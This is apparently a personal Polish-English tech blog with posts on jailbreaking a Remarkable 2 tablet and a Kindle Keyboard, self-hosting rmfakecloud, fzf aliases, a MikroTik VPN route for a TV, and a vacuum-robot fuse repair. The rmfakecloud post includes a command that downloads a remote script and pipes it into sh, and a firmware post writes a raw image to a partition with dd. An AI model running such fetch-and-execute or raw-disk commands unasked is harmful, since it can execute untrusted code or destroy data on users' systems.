scyzoryk

Sztuczniaki zrobiły mi terminal

2026-04-10T21:48:00+02:00

Jakiś rok temu kupiłem używanego Remarkable2 (RM2) - tablet z ekranem e-ink. Naprawdę fajny komputerek.

Dostałem do niego oryginalną klawiaturę Folio, a że RM2 jest hackowalny z difoltu to go oczywiście zjailbreakowałem i między innymi zainstalowałem emulator terminala: Yaft.

Problem w tym, że Yaft ma, jak dla mnie, zbyt małe literki oraz brak polskich znaków diakrytycznych. Deweloper ustawił fonty na stałe ale zostawił dość enigmatyczną instrukcję jak sobie podmienić fonty.

Spróbowałem ale pokonały mnie trudności tzw. obiektywne. Bo firmware mam zbyt stary, bo jailbreak na nowym nie działa, itd. więc wygrzebanie działającej cross-kompilacji trwało na tyle długo i było tak bardzo męczące, że już mi się odechciało grzebać.

Zaraz... cross-kompilacja mi wychodziła, font sobie generowałem ale nie chciało mi się już zagłębiać dlaczego wywala mi się na fontach bold. Dałem w końcu temu wyraz w Issues w oryginalnym repo.

No, ale w końcu, po paru miesiącach, chciałem sprawdzić czy z problemem poradzi sobie Claude od Anthropica.

I dał radę ale trwało to kilka godzin, miał chyba więcej problemów z cross-kompilacją niż ja, aż w końcu mu zadziałała.

Zużył prawie cały tygodniowy zapas tokenów plus dodatkowe 9 dolarów ale warto było.

Wrzuciłem całość na forka w Githubie. W README jest opis.

Jest nawet gotowy skrypt, wystarczy go uruchomić i pięknie skompiluje kilka wersji Yafta, z różnymi fontami.

A tak to wygląda:

Dreame L10 Pro - problem z wnetylatorem, spalony bezpiecznik

2026-03-16T20:07:00+01:00

Wrzucam, żeby pomóc innym.

Robot Dreame L10 Pro rozpoczął sekwencję czyszczenia i nagle przerwał z komunikatem: "fan speed abnormal".

Każda próba uruchomienia kończyła się po pozycjonowaniu, przed włączeniem głównego wentylatora.

Po wymianie wentylatora na nowy, błąd nadal występował.

Sprawdziłem bezpiecznik, który ktoś wskazał na innym forum i był spalony, bez przejścia. Bezpiecznik na płycie jest koloru niebieskiego i oznaczony symbolem F5.

Kupiłem następujący bezpiecznik: SMD 0603 1,5A/63V (H) /4708 - wystarczyłby 32V ale nie takiego znalazłem.

Wylutowałem stary, próbowałem gorącym powietrzem ale nie udało się, w końcu udało się kolbą. Trzeba być ostrożnym bo obok bezpiecznika jestr sporo jeszcze mniejszych elementów.

Po wlutowaniu nowego bezpiecznika robot działa idealnie.

Piszę to już po pełnym sprzątaniu domu.

Załączam zdjęcia na których widać bezpiecznik na płycie.

Aha, mam wgrane Valetudo i polecam gorąco, używam do ponad roku i moje dane nie wylatują do Chin.

Jakby co to mam wykonaną płytkę do wgrywania softu, bez utraty gwarancji, mogę pożyczyć.

Lutowanie

Lutowanie nie jest tak trudne na jakie wygląda. Użyłem lutownicy PINECIL i dużej ilości topnika w płynie. Nawet nie próbuj wylutowwyania/wlutowywania bez topnika!

Po usunięciu starego bezpiecznika, nałóż flux na pola lutownicze i z pomocą rozgrzanej lutownicy nanieś na każde z nich niewielką ilość cyny. Następnie z pomocą pęsety ułuż na miejscu nowy bezpiecznik i rozgrzej kolejno oba końce. Nie rób tego zbyt długo aby nie dopuścić do przegrzania.

Jeśli nie masz wprawy potrenuj najpierw na jakiejś starej, niepotrzebnej elektronice.

Bardzo przydatne przy tej pracy jest dobre oświetlenie i szkło powiększające.

Dreame L10 Pro - vaccum robot fan problem, blown fuse

2026-03-16T20:07:00+01:00

Posting this in case it helps others.

My Dreame L10 Pro robot started its cleaning sequence and suddenly stopped with the message: "fan speed abnormal".

Every attempt to start it ended right after positioning, before the main fan was turned on.

Even after replacing the fan with a new one, the error was still there.

I checked the fuse that someone had pointed out on another forum, and it was blown with no continuity. The fuse on the board is blue and marked F5.

I bought the following fuse: SMD 0603 1.5A/63V (H) /4708. A 32V one would also have been enough, but I could not find one.

I desoldered the old one. I first tried with hot air, but that did not work, and in the end I managed it with a soldering iron. You need to be careful, because there are many even smaller components right next to the fuse.

After soldering in the new fuse, the robot works perfectly.

I am writing this after a full house cleaning cycle.

I am attaching photos where the fuse on the board is visible.

One more thing: I have Valetudo installed and highly recommend it. I have been using it for over a year, and my data is not being sent to China.

Soldering

Soldering is not as hard as it might look. I used PINECIL soldering iron and a lot of soldering flux. Do not even try to desolder and solder without it!

After removing the old fuse, apply flux to the solder pads and use a heated soldering iron to put a small amount of solder on each of them. Then place the new fuse in position with tweezers and heat both ends one after the other. Do not do this for too long, to avoid overheating.

If you are not experienced, practice first on some old, disposable electronics.

Good lighting and a magnifying glass are very helpful for this kind of work.

Gitea z actions w Dockerze

2026-03-07T00:29:00+01:00

A tu coś będzie ale na razie to tylko test.

Tricki z fzf

2026-03-05T22:24:00+01:00

Zanotujmy sobie kilka przydatnych tricków z fzf i innymi narzędziami.

Używam Arch Linux więc na początek instalacja narządków:

sudo pacman -S fzf fd ripgrep bat zoxide atuin less man-db

Niektóre narzędzia trzeba zainicjować:

eval "$(zoxide init zsh)"
eval "$(atuin init zsh)"
source /usr/share/fzf/key-bindings.zsh

Uwaga z ostatnim includem, może przykryć skróty klawiszowe używane z Atuinem.

Wczytanie konfiguracji:

source ~/.zshrc

Aliasy

Wyszukiwanie pliku z podglądem w prawej części terminala:

alias ff="fd --type f | fzf --preview 'bat --style=numbers --color=always {}' --preview-window=right:60%"

a tu otwarcie w edytorze:

alias fv="fd --type f | fzf --preview 'bat --style=numbers --color=always {}' | xargs vim"

Przeszukiwanie kodu, możesz np. wyszukać konkretną funkcję:

alias fff="fzf --bind 'change:reload:rg --line-number --no-heading {q} || true' --delimiter : --preview 'bat --color=always {1} --highlight-line {2}'"

Przełączanie gałęzi w git-cie:

git branch --all | fzf | sed 's/.* //' | xargs git checkout

Zabijanie procesów:

ps -ef | fzf | awk '{print $2}' | xargs kill

Przeglądanie plików z podglądem:

fzf --preview 'bat --style=numbers --color=always {}'

Fuzzy search po katalogach, które już odwiedzałem, dobre ale dopiero po zebraniu odpowiedniej liczby shortcutów:

alias zz='zoxide query -l | fzf | xargs cd'

Szybkie przechodzenie do folderu (przeszukanie zawsze zaczynam od $HOME):

alias cdf='cd ~;cd "$(fd --type d | fzf)"'

Soft na Remarklable 2

2026-03-04T22:33:00+01:00

Wziąłem się na nowo za notatnik Remarkable 2. Rysuję, mam trochę notatek, myślałem że użyję na nim Wireguarda ale niestety brak wsparcia w kernelu. Nie zamierza spędzać czasu na próbie skompilowania kernela bo nie znam architektury i w dodatku to jest jednak dość zamknięty system i podmiana kernela to raczej update firmware'u. Szkoda mi na to czasu.

Postanowiłem za to sprawdzić czy się coś nowego nie pojawiło. Ot, gadżeciarstwo może ale jakie przyjemne. :)

Pierwsz rzecz to nowy rodzaj jailbreaku o niewyszukanej nazwie freeMarkable. Wygląda naprawdę obiecująco. Nie wiem czy jest XOVI, które jest instalowane ale się dowiem.

remarkable tools

generowany kalendarz, który można zautomatyzować, np. pobierać z Nextcloud (chyba, do sprawdzenia)

rozszerzenia do XOVI - czym jest XOVI?

manager firmware'u

Bash script do interakcji z API

RM2 jako tablet graficzny dla Waylanda

czytnik PDF z adnotacjami - w trakcie rozwoju

apka do streamowania ekranu

XOVI - do pisania rozszerzeń aplikacji

Vellum - nowy manadżer pakietów

Lista pakietów Vellum

włączanie XOVI 3-wciśnięciem powera

aktualizacja kalendarzy ICS

manadżer modyfikacji

czytnik news i nie tylko

zestaw rozszerzeń XOVI

lista narzędzi dla RM2

serwer MCP dający Claudowi (LLM) dostęp do plików na RM2

małe tweaks

konwersja TXT na ePUB

edytor Markdownu z klawiaturą po USB - nie działa mi z klawiaturą od RM2

framework do budowania aplikacji

opis hacków na RM2

prezentacja RM2 na ekranie komputera

pobiera art. z arxiv i wrzuca na RM2

robi screena z gazety lub komiksu i wrzuca jako obrazek przy suspendzie

streamuje ekran RM2 po SSH

RM2 jako tablet do rysowania

Jak wymienić baterię w golarce Philips Oneblade

2026-02-25T18:50:00+01:00

Zrobiłem poradnik dla iFixit "Jak wymienić baterię w golarce Philips Oneblade".

Wkurzyło mnie, że golarka zaczęła słabo golić z powodu zużytej baterii.

Ponownie wkurzyło mnie, że oryginalnie nie da się łatwo wymienić baterii.

Trzeba było pomóc sobie i innym, stąd zatem poradnik.

LINK: iFixit Guide: Philips Norelco OneBlade Battery Replacement …

Youtube bez reklam na TV Samsunga ale nie za darmo

2026-02-14T22:53:00+01:00

Cel: wyłączyć reklamy w aplikacji YT zainstalowanej na Samsung TV.

Wymagania:

konto w Surfshark VPN,
router Mikrotik.

1. Konto VPN na Surfshark

Po zalogowaniu na koncie Surfsharka wejdź w "VPN" -> "Konfiguracja ręczna" ("Manual setup").

Znowu klikasz w "Konfiguruj ręcznie":

wybierasz protokół "Wireguard":

jeśli nie masz pary kluczy to...:

generujesz nową parę kluczy:

jeśli już masz klucze (nowe lub stare) to wybierasz odpowiednią lokalizację:

i pobierasz pliki konfiguracji (ikona na samym dole):

2. Tunel Wireguard na Mikrotiku

Na Mikrotiku stwórz następującą konfigurację:

utwórz nowy interfejs dla Wireguarda

gdy wrócisz do menu interfejsów i ponownie wybierzesz świeżo dodany interfejs...

zobaczysz, że system automatycznie wygenerował klucze publiczny i prywatny

wróć, przejdź na zakładkę "Peers" i dodaj nowego "peera".

w polu "Interface" wybierz świeżo dodany interfejs "wireguard-ss"

w polu "Public key" wpisz klucz publiczny z konfiguracji Surfsharka

w polu "Endpoint" wpisz to co w konfigu Surfsharka nazywa się "Adres serwera"

w polu "Endpoint port" port jaki znajdziesz w pobranym pliku konfiguracji

zachowaj wprowadzone zmiany

w menu IP -> Addresses zobaczysz...

że interfejs dostał adres IP (z tej podsieci jaką masz w pliku konfiguracji Surfsharka), tunel już powinien działać

Wszystko co powyżej możesz zrobić w shellu Mikrotika poniższymi komendami:

/interface/wireguard add name=wireguard-ss mtu=1420 private-key="<private_key>"

/ip/address add address=<adres VPN z konfigu Surfsharka> interface=wireguard-ss

/interface/wireguard/peers add interface=wireguard-ss public-key="<klucz publiczny z konfigur Surfsharka>" \
    endpoint-address=<"Adres serwera" z konfigu Surfsharka> endpoint-port=<port z konfigu Surfsharka> \
    allowed-address=0.0.0.0/0 persistent-keepalive=25

3. Podpięcie telewizora

Dodaj regułę przed innymi srcnat (kolejność ma znaczenie):

/ip/firewall/nat add chain=srcnat src-address=<IP telewizora> out-interface=wireguard-ss \
    action=masquerade comment="TV -> NAT via WireGuard"

Osobna tablica routingu tylko dla TV + default route przez WG:

/routing/table add name=to-wg fib

/ip/route add dst-address=0.0.0.0/0 gateway=wireguard-ss routing-table=to-wg \
    comment="TV default route via WG"

Oznacz (policy route) ruch TV do tablicy to-wg (Użyj mangle w prerouting, żeby oznaczyć ruch z TV. Ważne: wyklucz lokalne cele (router/LAN), żeby TV nadal gadało z routerem w LAN):

/ip/firewall/mangle add chain=prerouting src-address=<IP telewizora> \
  dst-address-type=!local dst-address=!<adres sieci LAN>/24 \
  action=mark-routing new-routing-mark=to-wg passthrough=no \
  comment="TV policy-route via WG (no local/LAN)"

Kill-switch: TV ma nie mieć prawa wyjść na WAN poza WG (nawet jeśli WG padnie, TV nie ma prawa wyjść przez interfejs z Internetem):

/ip/firewall/filter add chain=forward src-address=<IP telewizora> out-interface=<nazwa interfejsu z Internetem> \
  action=drop comment="KILL-SWITCH: block TV direct WAN"

Kindle Keyboard (3rd Generation, k3gb) JAILBREAK pl

2026-02-07T23:08:00+01:00

Kindle Keyboard (3rd Generation) to model k3gb.

UWAGA!!! Dalsza część procedury zakłada, że numer seryjny Kindle zaczyna się od B00A, bo mój egzemplarz ma numer seryjny zaczynający się od B00A, co oznacza, że jest to wersja k3gb.

Sprawdź numer seryjny swojego Kindle (znajdziesz go na tylnej obudowie) i użyj odpowiednich plików! Przeczytaj instrukcję w pliku 1-Jailbreak/README.txt.

Tutaj podaję istotne dane:

k3g oznacza K3 3G (US [B006]),
k3w oznacza K3 WiFi [B008],
k3gb oznacza K3 3G (UK [B00A]).

Czyli plik Update_jailbreak_0.13.N_k3g_install.bin to jailbreak dla Kindle z nr seryjnym zaczynającym się od B006.

Pobierz archiwum z potrzebnymi plikami

Kindle-Keyboard-Jailbreak.tar.gz

i wypakuj:

tar xvf Kindle-Keyboard-Jailbreak.tar.gz
cd Kindle-Keyboard-Jailbreak

0. Aktualizacja firmware'u

Znalazłem informację, że KUAL działa z nowym certyfikatem dopiero po zaktualizowaniu firmware'u do wersji 3.4.3.

Miałem firmware 3.2.1, więc aby dojść do 3.4.3, musiałem instalować kolejne wersje pośrednie.

Aktualizację wykonujemy kolejno dla każdego pliku z katalogu 0-update-firmware w następującej kolejności:

Update_kindle_3.3_B00A.bin
Update_kindle_3.4_B00A.bin
Update_kindle_3.4_3.4.2_B00A.bin
Update_2687240004-3543620001.bin

Schemat działania dla każdego pliku:

sudo mount /dev/sda1 /mnt/usb
cp 0-update-firmware/{kolejna_wersja}.bin /mnt/usb
umount /mnt/usb

Na Kindle wybieram:

Settings
przycisk menu
Update Your Kindle

Następuje aktualizacja i restart urządzenia. Po restarcie wykonuję te same kroki dla kolejnego pliku, aż do osiągnięcia wersji 3.4.3.

Oficjalny opis procesu znajduje się tutaj:

https://www.amazon.com/gp/help/customer/display.html?nodeId=GX3VVAQS4DYDE5KE#GUID-4C9EFFF2-2B4E-4DB8-997D-6DC9B3566220__SECTION_1CC4F0B2FB6A4697972BED2975384B60

UWAGA – BARDZO WAŻNE!

NIE URUCHAMIAJ żadnej książki (pliku), która ma w nazwie słowo „TEST”. Jeżeli to zrobisz, będziesz musiał przechodzić cały proces od początku.

Najlepiej usuń ten plik natychmiast po zakończeniu aktualizacji firmware'u, jeszcze przed wykonaniem jailbreaka.

1. Jailbreak

Plik jailbreaka:

Update_jailbreak_0.13.N_k3gb_install.bin

Jest to wersja przeznaczona dla firmware'u 3.4.3.

Po podłączeniu Kindle przez USB skopiuj plik do katalogu głównego urządzenia:

sudo mount /dev/sda1 /mnt/usb
cp 1-Jailbreak/Update_jailbreak_0.13.N_k3gb_install.bin /mnt/usb
umount /mnt/usb

Na Kindle wybierz:

Settings
przycisk menu
Update Your Kindle

Proces jailbreaka trwa około 15 sekund.

2. Nowe certyfikaty

Po restarcie skopiuj na Kindle nowe certyfikaty:

sudo mount /dev/sda1 /mnt/usb
sudo cp 2-DevCerts/Update-mkk-20250419-k3gb-B00A_keystore-install.bin /mnt/usb
umount /mnt/usb

Odłącz kabel USB i ponownie wykonaj:

Settings
przycisk menu
Update Your Kindle

3. KUAL

Po restarcie skopiuj KUAL do katalogu documents:

sudo mount /dev/sda1 /mnt/usb
sudo cp KUAL-KDK-1.0.azw2 /mnt/usb/documents/
umount /mnt/usb

Odłącz kabel USB i ponownie:

Settings
przycisk menu
Update Your Kindle

Po restarcie KUAL powinien działać poprawnie.

4. Helper Extensions do KUAL oraz KOReader

Najpierw zainstaluj rozszerzenia do KUAL:

sudo mount /dev/sda1 /mnt/usb
sudo cp -r 4-Extensions/* /mnt/usb/

Następnie KOReader:

sudo cp -r 5-Koreader/* /mnt/usb/
umount /mnt/usb

Po uruchomieniu KUAL rozszerzenia powinny być widoczne.

Pozostałe hacki instalujemy w zależności od ich formy:

jako aktualizacje firmware'u (np. screensavery),
jako pakiety instalowane przez KUAL (np. Gawk).

Kindle Keyboard (3rd Generation, k3gb) JAILBREAK

2026-02-07T23:08:00+01:00

Kindle Keyboard (3rd Generation) corresponds to the k3gb model.

WARNING!!! The further part of this procedure assumes that the Kindle serial number starts with B00A, because my device has a serial number starting with B00A, which means it is the k3gb version.

Check the serial number of your Kindle (you will find it on the back cover) and use the appropriate files! Read the instructions in the file 1-Jailbreak/README.txt.

Here I provide the relevant details:

k3g means K3 3G (US [B006]),
k3w means K3 WiFi [B008],
k3gb means K3 3G (UK [B00A]).

So the file Update_jailbreak_0.13.N_k3g_install.bin is the jailbreak for a Kindle with a serial number starting with B006.

Download archive with required files

Kindle-Keyboard-Jailbreak.tar.gz

and unpack with:

tar xvf Kindle-Keyboard-Jailbreak.tar.gz
cd Kindle-Keyboard-Jailbreak

0. Firmware Update

I found information that KUAL works with the new certificate only after updating the firmware to version 3.4.3. My device originally had 3.2.1, and to reach 3.4.3 I had to install the intermediate firmware versions sequentially.

For each file from the 0-update-firmware directory, install them in the following order:

Update_kindle_3.3_B00A.bin
Update_kindle_3.4_B00A.bin
Update_kindle_3.4_3.4.2_B00A.bin
Update_2687240004-3543620001.bin

Sequence example:

sudo mount /dev/sda1 /mnt/usb
cp 0-update-firmware/{next_version}.bin /mnt/usb
umount /mnt/usb

From the Kindle menu, select Settings, then press the menu button again and choose Update Your Kindle.

The device will update, reboot, and then repeat the same steps with the next file until version 3.4.3 is reached.

Official description: https://www.amazon.com/gp/help/customer/display.html?nodeId=GX3VVAQS4DYDE5KE#GUID-4C9EFFF2-2B4E-4DB8-997D-6DC9B3566220__SECTION_1CC4F0B2FB6A4697972BED2975384B60

IMPORTANT – READ CAREFULLY

DO NOT OPEN ANY ITEM (BOOK) WITH "TEST" IN ITS NAME THAT APPEARS ON THE KINDLE. If you do, you will have to repeat the entire process from the beginning.

It is best to delete this file immediately after completing this step and before performing the jailbreak.

1. Jailbreak

The jailbreak file used is:

Update_jailbreak_0.13.N_k3gb_install.bin

This is required because the firmware version is 3.4.3.

After connecting the Kindle via USB, copy the file to the root directory:

sudo mount /dev/sda1 /mnt/usb
cp 1-Jailbreak/Update_jailbreak_0.13.N_k3gb_install.bin /mnt/usb
umount /mnt/usb

From the menu, select Settings, then press the menu button again and choose Update Your Kindle.

The jailbreak process takes approximately 15 seconds.

2. New Certificates

After rebooting, copy the new certificates to the Kindle:

sudo mount /dev/sda1 /mnt/usb
sudo cp 2-DevCerts/Update-mkk-20250419-k3gb-B00A_keystore-install.bin /mnt/usb
umount /mnt/usb

Disconnect the USB cable and, as before, select Settings, then press the menu button and choose Update Your Kindle.

3. KUAL

After rebooting, copy KUAL to the Kindle:

sudo mount /dev/sda1 /mnt/usb
sudo cp KUAL-KDK-1.0.azw2 /mnt/usb/documents/
umount /mnt/usb

Disconnect the USB cable and again select Settings, then the menu button, and Update Your Kindle.

After rebooting, KUAL should be fully functional.

4. KUAL Helper Extensions and KOReader

First, install the KUAL extensions:

sudo mount /dev/sda1 /mnt/usb
sudo cp -r 4-Extensions/* /mnt/usb/

Then install KOReader:

sudo cp -r 5-Koreader/* /mnt/usb/
umount /mnt/usb

After launching KUAL, the extensions should be visible.

Additional hacks can be installed depending on their form: some as update packages (e.g. screensavers), others as KUAL packages (e.g. Gawk).

Własna chmura dla Remarkable 2

2024-10-27T10:08:00+01:00

Notatnik Remarkable jest świetnym urządzeniem ale do pełnego szczęścia wymaga (niestety) rejestracji w chmurze firmowej oraz opłacania comiesięcznej subskrybcji.

Co daje subskrybcja?

Synchronizacja plików
Integracje z zewnętrznymi źródłami plików (przy użyciu WebDAV lub dedykowanego katalogu w lokalnym systemie plików, zamiast Google Drive i Dropbox)
Wysyłanie dokumentu przez e-mail
Rozpoznawanie pisma ręcznego!!!
Odblokowanie funkcji udostępniania ekranu (ale nie działa zdalnie, aplikacji należy używać przez USB)

Na szczęście, dzięki niezależnym deweloperom, można chmurę firmową zastąpić utrzymywaną na własnym serwerze.

Proces jest trywialny w przypadku użycia Dockera, a pełna dokumentacja projektu dostępna jest tu: rmfakecloud.

Instalacja chmury

Na serwerze stwórz plik docker-compose.yml z następującą zawartością:

services:
  rmfakecloud:
    image: ddvk/rmfakecloud
    container_name: rmfakecloud
    restart: unless-stopped
    env_file:
      - env
    volumes:
      - ./data:/data
    ports:
      - "3033:80"

Stwórz też plik env:

PORT=80
JWT_SECRET_KEY=<tu wygenerowany token>
STORAGE_URL=http://rmfakecloud.example.com:3033
LOGLEVEL=debug
RM_LOGFILE=/data/log
RMAPI_HWR_APPLICATIONKEY=<klucz API z myscript.com>
RMAPI_HWR_HMAC=<HMAC z myscript.com>
RM_SMTP_SERVER=mail.example.com:587
RM_SMTP_USERNAME=user@example.com
RM_SMTP_PASSWORD=<hasło>
# RM_SMTP_FROM = niestandardowy nagłówek „From:” dla e-maili (np. Mój remarkable remarkable@rmfakecloud.example.com).
#                Jeśli to ustawienie jest włączone, adres e-mail użytkownika jest umieszczany w polu „Reply-To:”.
# RM_SMTP_HELO   Własne HELO, jeśli dostawca poczty tego wymaga
# RM_SMTP_NOTLS  Nie używaj TLS
# RM_SMTP_STARTTLS   Użyj polecenia STARTTLS, powinno być połączone z opcją NOTLS. W większości przypadków należy użyć portu 587.
# RM_SMTP_INSECURE_TLS Jeśli ustawione, nie sprawdzaj certyfikatu serwera (niezalecane).

Token używany w zmiennej JWT_SECRET_KEY można wygenerować tym poleceniem:

openssl rand -base64 48

Zmienna STORAGE_URL zawiera nazwę serwera i port pod którymi rmfakecloud będzie dostępny, czyli FQDN twojego serwera, np.: http://rmfakecloud.example.com:3033.

Zmienne RMAPI_HWR_APPLICATIONKEY oraz RMAPI_HWR_HMAC zawierają odpowiednio, klucz API oraz HMAC wygenerowane na stronach francuskiej firmy MyScript [https://developer.myscript.com/] i umożliwiają rozpoznawanie pisma odręcznego!!!

Musisz, niestety, założyć konto w myscript.com ale w zamian masz 2000 darmowych konwersji miesięcznie.

Po założeniu konta, tworzysz aplikację, dla której generowane są wspomniane wyżej zmienne RMAPI_HWR_APPLICATIONKEY i RMAPI_HWR_HMAC. Poniżej dwa screeny z myscript.com:

Reszta zmiennych dotyczy serwera e-mail i jest wystarczająco opisana.

Gdy wszystko masz gotowe odpalasz rmfakecloud:

docker compose up -d

Teraz musisz zainstalować klienta synchronizacji na swoim Remarkable. Jeśli masz zainstalowane oprogramowanie toltec, to sprawa jest prosta.

Zaloguj się do Rm2 przez SSH i wydaj następujące polecenia:

opkg install rmfakecloud-proxy
rmfakecloudctl set-upstream <URL>
rmfakecloudctl enable

Zamiast URL podaj pełny adres swojego rmfakecloud, w tym przykładzie będzie to:

rmfakecloudctl set-upstream http://rmfakecloud.example.com:3033

Następnie zainstaluj proxy:

sh -c "$(wget https://raw.githubusercontent.com/ddvk/rmfakecloud/master/scripts/device/automagic.sh -O-)"

I znowu podaj pełny URL do swojego rmfakecloud.

OK, możesz się wylogować z Rm2.

Na komputerze uruchom przeglądarkę i wejdź na stronę swojej instancji rmfakecloud czyli w tym przykładzie: http://rmfakecloud.example.com:3033.

Załóż konto użytkownika i zapamiętaj hasło, w menu na górze strony wybierz opcję "Code" i wygeneruj kod.

Wejdź na Remarkable w "Menu" -> "Settings" -> "General" i w "Pair ReMarkable Account". Wprowadź wygenerowany kod i połącz się ze swoją własną chmurą. Synchronizacja już powinna działać.

Jeśli chcesz przesłać pliki na Rm2, otwórz stronę, zaloguj się i w zakładce "Documents" masz formularz dodawania dowolnych plików.

c.d.n.

Private cloud for Remarkable 2

2024-10-27T10:08:00+01:00

The Remarkable notebook is a great device, but for full functionality, it (unfortunately) requires registration with the company's cloud service and a monthly subscription.

What does the subscription provide?

File synchronization
Integrations with external file sources (using WebDAV or a dedicated directory in the local file system, instead of Google Drive and Dropbox)
Sending documents via email
Handwriting recognition!!!
Screen sharing feature (though it doesn’t work remotely, and the app must be used over USB)

Fortunately, thanks to independent developers, the corporate cloud can be replaced with one hosted on your own server.

The process is simple when using Docker, and the full project documentation is available here: rmfakecloud.

Cloud Installation

On the server, create a docker-compose.yml file with the following content:

services:
  rmfakecloud:
    image: ddvk/rmfakecloud
    container_name: rmfakecloud
    restart: unless-stopped
    env_file:
      - env
    volumes:
      - ./data:/data
    ports:
      - "3033:80"

Create an env file as well:

PORT=80
JWT_SECRET_KEY=<your generated token>
STORAGE_URL=http://rmfakecloud.example.com:3033
LOGLEVEL=debug
RM_LOGFILE=/data/log
RMAPI_HWR_APPLICATIONKEY=<API key from myscript.com>
RMAPI_HWR_HMAC=<HMAC from myscript.com>
RM_SMTP_SERVER=mail.example.com:587
RM_SMTP_USERNAME=user@example.com
RM_SMTP_PASSWORD=<password>
# RM_SMTP_FROM = custom “From:” header for emails (e.g., My remarkable remarkable@rmfakecloud.example.com).
#                If enabled, the user’s email address is placed in the “Reply-To:” field.
# RM_SMTP_HELO   Custom HELO if required by your mail provider
# RM_SMTP_NOTLS  Disable TLS
# RM_SMTP_STARTTLS   Use the STARTTLS command, usually on port 587.
# RM_SMTP_INSECURE_TLS If set, skip server certificate validation (not recommended).

The token for JWT_SECRET_KEY can be generated with this command:

openssl rand -base64 48

The STORAGE_URL variable contains the server name and port under which rmfakecloud will be accessible—essentially, your server's FQDN, e.g.: http://rmfakecloud.example.com:3033.

The RMAPI_HWR_APPLICATIONKEY and RMAPI_HWR_HMAC variables store, respectively, the API key and HMAC generated from French company MyScript [https://developer.myscript.com/] for enabling handwriting recognition!!!

You will need to create an account at myscript.com, but this gives you 2000 free conversions per month.

After creating an account, you create an app, which will generate the aforementioned RMAPI_HWR_APPLICATIONKEY and RMAPI_HWR_HMAC variables. Below are two screenshots from myscript.com:

The remaining variables pertain to the email server and are sufficiently described.

Once everything is set up, start rmfakecloud:

docker compose up -d

Now you need to install the sync client on your Remarkable. If you have the toltec software installed, it’s simple.

opkg install rmfakecloud-proxy
rmfakecloudctl set-upstream <URL>
rmfakecloudctl enable

Replace URL with the full address of your rmfakecloud, in this example:

rmfakecloudctl set-upstream http://rmfakecloud.example.com:3033

Next, install the proxy:

sh -c "$(wget https://raw.githubusercontent.com/ddvk/rmfakecloud/master/scripts/device/automagic.sh -O-)"

Again, provide the full URL to your rmfakecloud.

OK, you can log out of Rm2.

On your computer, open a browser and go to the rmfakecloud instance page, for example: http://rmfakecloud.example.com:3033.

Create a user account, remember the password, and in the top menu, choose "Code" to generate a code.

On the Remarkable, go to "Menu" -> "Settings" -> "General" and in "Pair ReMarkable Account," enter the generated code and connect to your own cloud. Synchronization should now work.

To transfer files to Rm2, open the site, log in, and under the "Documents" tab, you'll find an upload form for any files.

To be continued...

Hakowanie Remarkable 2

2024-09-07T00:03:00+02:00

Toltec daje możliwość instalacji oprogamowania.

⚠️ Uwaga: Toltec wspiera tylko wersje OS-a od: 2.6.1.71 do 3.3.2.1666.

Czyli muszę zrobić downgrade z obecnej wersji 3.14.1.9.

⚠️ Uwaga, możliwe że notatki stworzone na wyższej wersji nie będą kompatybilne z wersją starszą.

Kliknij tu aby pobrać narzędzie do downgrade'u - codexctl

W wersjach >=3.11 oprogramowania systemowego nie da się użyć automatycznego update'u. Należy pobrać firmware i rozpakować za pomocą dd.

Umówmy się, że Remarkable ma IP: 192.168.10.29

Potrzebne ci hasło do SSH. Jest tu: "Menu" -> "Help" -> "Copyright & linceses". Hasło jest na dole strony - zachowaj je w bezpiecznym miejscu.

Pobierz plik aktualizacji za pomocą codexctl.
Wyodrębnij obraz ext4 z pliku aktualizacji.
Prześlij obraz na urządzenie.
Ustal, która partycja jest partycją zapasową.
Użyj dd, aby zapisać obraz na partycji zapasowej.
Użyj codexctl restore, aby ustawić partycję zapasową jako aktywną.
Zrestartuj urządzenie.

1. Pobierz plik aktualizacji za pomocą codexctl.

Binarka: pobierz najnowszą wersję z: https://github.com/Jayy001/codexctl/releases/

Rozpakuj i skopiuj na Rm2:

wget https://github.com/Jayy001/codexctl/releases/download/1719419372/remarkable.zip
unzip remarkable.zip
scp codexctl.bin root@192.168.10.29:.

Zbuduj codexctl na laptopie i pobierz obraz:

git clone https://github.com/Jayy001/codexctl.git
cd codexctl
python -m venv venv
source ./venv/bin/activate
pip install wheel
pip install -r requirements.remote.txt
python codexctl.py download toltec

Pobrany obraz ma nazwę: 3.3.2.1666_reMarkable2-ihUirIf133-.signed.

2. Wyodrębnij obraz ext4 z pliku aktualizacji.

Rozpakuj obraz:

python codexctl.py extract --out ./3.3.2.1666_reMarkable2-ihUirIf133-.extracted ../3.3.2.1666_reMarkable2-ihUirIf133-.signed

$ file 3.3.2.1666_reMarkable2-ihUirIf133-.extracted
extracted_fw: Linux rev 1.0 ext4 filesystem data, UUID=fb041d03-92fd-48ab-993f-6ee5b0f954a7 (extents) (64bit) (large files) (huge files)

3. Prześlij obraz na urządzenie.

Skopiuj wyodrębniony obraz na Rm2:

scp ./3.3.2.1666_reMarkable2-ihUirIf133.extracted root@192.168.10.29:.

4. Ustal, która partycja jest partycją zapasową.

Na Rm2:

root@reMarkable:~# fdisk -l
Disk /dev/mmcblk2: 7456 MB, 7818182656 bytes, 15269888 sectors
238592 cylinders, 4 heads, 16 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device       Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/mmcblk2p1    32,0,1      671,3,16          2048      43007      40960 20.0M 83 Linux
/dev/mmcblk2p2    672,0,1     95,3,16          43008     595967     552960  270M 83 Linux
/dev/mmcblk2p3    96,0,1      543,3,16        595968    1148927     552960  270M 83 Linux
/dev/mmcblk2p4    544,0,1     1023,3,16      1148928   15269887   14120960 6895M 83 Linux

root@reMarkable:~# mount
/dev/mmcblk2p3 on / type ext4 (rw,relatime)
[...]
/dev/mmcblk2p1 on /var/lib/uboot type vfat  (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
/dev/mmcblk2p4 on /home type ext4 (rw,relatime)

Jak widać powyżej, jedynie /dev/mmcblk2p2 nie jest zamontowane, więc to jest partycja zapasowa.

5. Użyj dd, aby zapisać obraz na partycji zapasowej.

dd if=/home/root/3.3.2.1666_reMarkable2-ihUirIf133.extracted of=/dev/mmcblk2p2

6. Użyj codexctl restore, aby ustawić partycję zapasową jako aktywną.

Na Rm2:

/home/root/codexctl.bin restore

Potwierdź dwa razy i wyłącz Rm2.

7. Zrestartuj urządzenie.

Po restarcie masz starszy firmware.

Hack Remarkable 2

2024-09-07T00:02:00+02:00

Do you need additional tools on you Remarkable?

Use toltec.

